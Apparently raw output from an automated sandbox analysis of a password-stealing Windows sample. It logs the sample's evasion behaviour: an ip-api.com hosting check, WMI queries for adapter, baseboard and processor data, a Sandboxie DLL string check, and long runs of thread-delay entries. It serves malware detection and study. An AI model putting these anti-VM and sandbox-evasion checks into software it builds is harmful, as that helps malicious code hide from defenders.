Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe PID: 3140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PUwpftrjIH.exe PID: 7592, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000000.00000002.1727481234.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4167963900.0000000000435000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Memory allocated: 1240000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Memory allocated: 2E40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Memory allocated: 13F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Memory allocated: 5F30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Memory allocated: 6F30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Memory allocated: 7060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Memory allocated: 8060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Memory allocated: 8820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Memory allocated: 9820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Memory allocated: A820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Memory allocated: B820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Memory allocated: 11D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Memory allocated: 2F30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Memory allocated: 4F30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Memory allocated: F80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Memory allocated: 2940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Memory allocated: 4940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Memory allocated: 5B80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Memory allocated: 6B80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Memory allocated: 6CB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Memory allocated: 7CB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Memory allocated: 8400000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Memory allocated: 9400000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Memory allocated: A400000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Memory allocated: B400000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Memory allocated: 18D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Memory allocated: 32A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Memory allocated: 18D0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 599828	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 599717	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 599606	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 599495	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 599387	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 599228	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 598981	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 599890
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 599780
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 599669
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 599560
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 599444
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 599328

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6414	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1149	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7124	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1148	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Window / User API: threadDelayed 3552	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Window / User API: threadDelayed 6211	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Window / User API: threadDelayed 2049
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Window / User API: threadDelayed 7801

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 4940	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7268	Thread sleep count: 6414 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7492	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7268	Thread sleep count: 1149 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7372	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7488	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7384	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -599828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7560	Thread sleep count: 3552 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7560	Thread sleep count: 6211 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -599717s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -599606s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -599495s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -599387s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -599228s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -599094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -598981s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -99219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -99000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -98890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -98781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -98669s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -98562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -98453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -98344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -98234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -98125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -98015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -97906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -97797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -97687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -97575s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -97468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -97359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -97250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -97140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -97031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -96922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -96812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -96703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -96593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -96484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -96375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -96265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -96153s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -96047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -95937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -95826s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -95719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -95609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -95500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -95390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe TID: 7556	Thread sleep time: -95281s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7688	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep count: 34 > 30
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -31359464925306218s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7872	Thread sleep count: 2049 > 30
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -599890s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7872	Thread sleep count: 7801 > 30
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -599780s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -599669s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -599560s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -599444s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -599328s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -99890s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -99781s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -99672s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -99562s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -99444s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -99328s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -99219s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -99109s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -99000s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -98886s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -98738s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -98609s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -98498s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -98390s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -98281s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -98172s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -98062s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -97953s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -97844s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -97733s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -97625s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -97515s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -97406s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -97297s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -97187s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -97078s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -96969s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -96859s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -96749s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -96640s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -96521s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -96391s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -96266s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -96141s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -96031s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -95922s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -95812s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -95703s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -95594s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -95484s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -95375s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -95265s >= -30000s
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe TID: 7868	Thread sleep time: -95156s >= -30000s

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
